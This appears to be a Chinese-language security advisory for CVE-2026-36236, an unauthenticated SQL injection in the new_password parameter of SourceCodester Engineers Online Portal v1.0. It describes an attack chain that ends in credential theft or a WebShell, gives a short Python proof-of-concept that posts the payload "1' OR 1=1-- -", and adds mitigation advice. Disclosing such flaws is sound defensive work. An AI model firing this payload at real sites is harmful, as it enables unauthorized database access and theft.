CVE-2026-36236 CVSS 9.8 严重

CVE-2026-36236: 工程师在线门户SQL注入漏洞

披露日期: 2026-04-10

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-36236

漏洞类型

SQL注入

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

SourceCodester Engineers Online Portal

漏洞概述

SourceCodester Engineers Online Portal v1.0版本存在严重的SQL注入漏洞。攻击者可利用update_password.php中的new_password参数，在无需认证的情况下执行恶意SQL语句。鉴于CVSS评分高达9.8且无需用户交互，此漏洞可能导致敏感数据泄露、数据篡改及服务器被控，安全风险极高。

技术细节

该漏洞源于SourceCodester Engineers Online Portal v1.0在处理密码更新请求时，未对update_password.php接口中的new_password参数进行有效的安全过滤，直接将其拼接到SQL查询语句中。由于漏洞无需认证（PR:N）且通过网络攻击（AV:N），远程攻击者无需任何交互即可发送恶意HTTP请求。通过构造特定的SQL Payload，攻击者可以利用UNION查询或盲注技术绕过前端限制，进而读取、篡改或删除数据库中的敏感信息。在特定配置下，攻击者甚至可能导致服务器被完全控制。

攻击链分析

STEP 1

reconnaissance

攻击者识别出目标站点运行SourceCodester Engineers Online Portal v1.0。

STEP 2

漏洞探测

攻击者向update_password.php发送包含SQL注入Payload的请求，探测new_password参数。

STEP 3

利用攻击

由于缺乏输入过滤，后端数据库执行了恶意SQL语句，攻击者获取数据库访问权限。

STEP 4

数据窃取与控制

攻击者提取敏感信息，如用户凭据，或进一步写入WebShell获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

target = 'http://target-ip/update_password.php'

# SQL Injection Payload
payload = "1' OR 1=1-- -"

data = {
    'new_password': payload
}

response = requests.post(target, data=data)

if response.status_code == 200:
    print('[+] Vulnerability Found!')
    print(response.text)
else:
    print('[-] Exploit Failed')

影响范围

SourceCodester Engineers Online Portal v1.0

防御指南

临时缓解措施

建议立即停止使用受影响版本直至官方补丁发布。临时缓解方案为在代码层面对new_password参数进行严格的正则过滤，拦截单引号、注释符等特殊字符，并确保所有数据库查询使用参数化查询方式，防止SQL语句拼接。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表